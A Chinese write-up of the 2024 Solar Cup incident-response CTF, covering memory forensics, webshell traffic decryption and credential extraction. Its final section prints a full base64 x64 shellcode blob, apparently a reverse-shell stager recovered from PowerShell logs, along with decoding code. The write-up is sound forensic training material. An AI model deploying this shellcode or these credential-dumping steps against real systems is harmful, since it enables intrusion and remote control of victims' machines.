2024第一届Solar杯应急响应挑战赛wp
题目附件下载链接:链接: https://pan.baidu.com/s/1A7dLXIjoG6co7l-Ke4lyqw?pwd=vw54 提取码: vw54
题目解压密码:KzXGabLkDjs&j@3a&fAayNmD
签到
题目描述:本题作为签到题,请给出邮服发件顺序。
Received: from mail.da4s8gag.com ([140.143.207.229])
by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD
for ; Thu, 17 Oct 2024 11:24:01 +0800
X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k
X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=
Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=;
dkim=none; dmarc=none(permerror) header.from=solar.sec
Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])
by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264
for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST)
Date: Thu, 17 Oct 2024 11:24:01 +0800
To: hellosolartest@qq.com
From: 鍏嬪競缃戜俊
Subject:xxxxxxxxxx
Message-Id: 20241017112401.032146@mail.solar.sec
X-Mailer: QQMail 2.x
XXXXXXXXXX
flag格式为flag{domain1|…|domainN}
直接gpt秒了,flag为flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com}
内存取证
内存取证-1
题目描述:请找到rdp连接的跳板地址
首先用vol查看镜像信息,如下所示
volatility_2.6_win64_standalone.exe -f "G:\应急比赛\【题目】小题+综合题 (2)\solar\SERVER-2008-20241220-162057\SERVER-2008-20241220-162057.raw" imageinfo
要查看跳板地址,那么肯定是看端口连接情况,直接用netscan插件,如下所示,我们一个个去试可以得到跳板地址
volatility_2.6_win64_standalone.exe -f "G:\应急比赛\【题目】小题+综合题 (2)\solar\SERVER-2008-20241220-162057\SERVER-2008-20241220-162057.raw" --profile=Win7SP1x64 netscan
内存取证-2
题目描述:请找到攻击者下载黑客工具的IP地址
要获得下载地址,也是在端口连接这里看,我们还是一个个去试,可以得到下载的外联地址
内存取证-3
题目描述:攻击者获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么?
我们在寻找的过程中发现计算机内部存在pass.txt,我们filescan,找到其偏移地址
根据偏移地址将文件转存出来,如下所示,可以找到对应的密码
内存取证-4
题目描述:请找到攻击者创建的用户
我们使用hashdump将计算机上所有的用户的hash值导出,可以找到恶意的用户
内存取证-5
题目描述:请找到攻击者利用跳板rdp登录的时间
我们在filescan文件中可以找到Windows日志文件security.evtx
根据偏移量将文件转存出来,然后寻找登陆事件,一个个去看就完了,如下所示
内存取证-6
题目描述:请找到攻击者创建的用户的密码哈希值
根据刚刚的hashdump,提交对应的hash值就可以了
日志流量
日志流量-1
题目描述:新手运维小王的Geoserver遭到了攻击:
黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。
直接D盾扫webshell,如下所示
打开文件,发现里面有一个字符串被base64加密了,直接复制下来解密即可,如下所示
日志流量-2
题目描述:新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。
根据题目一我们可以找到解密aes的key为a2550eeab0724a69,选择加密方式为ecb后就去流量包中挨个解密流量即可,如下所示,拿到第二个flag
日志流量-3
题目描述:新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。
在分析第二题的时候发现了文件里面有一个flag.pdf文件,应该就是上传的文件,我们挨个寻找上传流量包即可
通过解密后发现确实有pdf在里面,我们转为gz文件后解压
将后缀改成pdf后打开即可,拿到flag
数据库
首先获取登陆密码,我们对vmdx文件进行磁盘取证,如下所示
我们找到对应的SAM文件及SYSTEM文件后复制到我们物理机桌面,之后使用猕猴桃提取密码,如下所示
提取出来的登陆密码a29f7623fd11550def0192de9246f46b
如下所示,我们解密即可
得到我们需要的登陆密码Password@123
数据库-1
题目描述: 请找到攻击者创建隐藏账户的时间
上传D盾,直接扫出隐藏用户test$
在命令行中查看账户基本信息,如下所示
数据库-2
题目描述:请找到恶意文件的名称
上传火绒剑,查看网络连接情况,发现恶意文件
数据库-3
题目描述:请找到恶意文件的外联地址
同第二题理,后面可以找到外联地址
数据库-5
题目描述:请提交powershell命令中恶意文件的MD5
首先去看powershell的日志事件,可以发现里面有很多命令执行记录,我们挨个分析,可以知道大致逻辑是先用gz压缩恶意文件,然后base64编码
所以我们提取base64字符串后解码后导出为gz文件,然后解压缩,得到一个txt文件,然后分析这个txt文件,发现是在生成恶意shellcode
我们将其中的base64提取出来,解码后保存为shellcode.bin文件,当然,用cyberchef也行,然后传到微步上检测md5值即可
import base64
# 提取的 Base64 字符串
base64_string = "/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V"
# 解码 Base64
shellcode = base64.b64decode(base64_string)
# 保存到文件
with open("shellcode.bin", "wb") as f:
f.write(shellcode)
print(f"Shellcode 长度: {len(shellcode)} 字节")
最后得到flag,flag{d72000ee7388d7d58960db277a91cc40}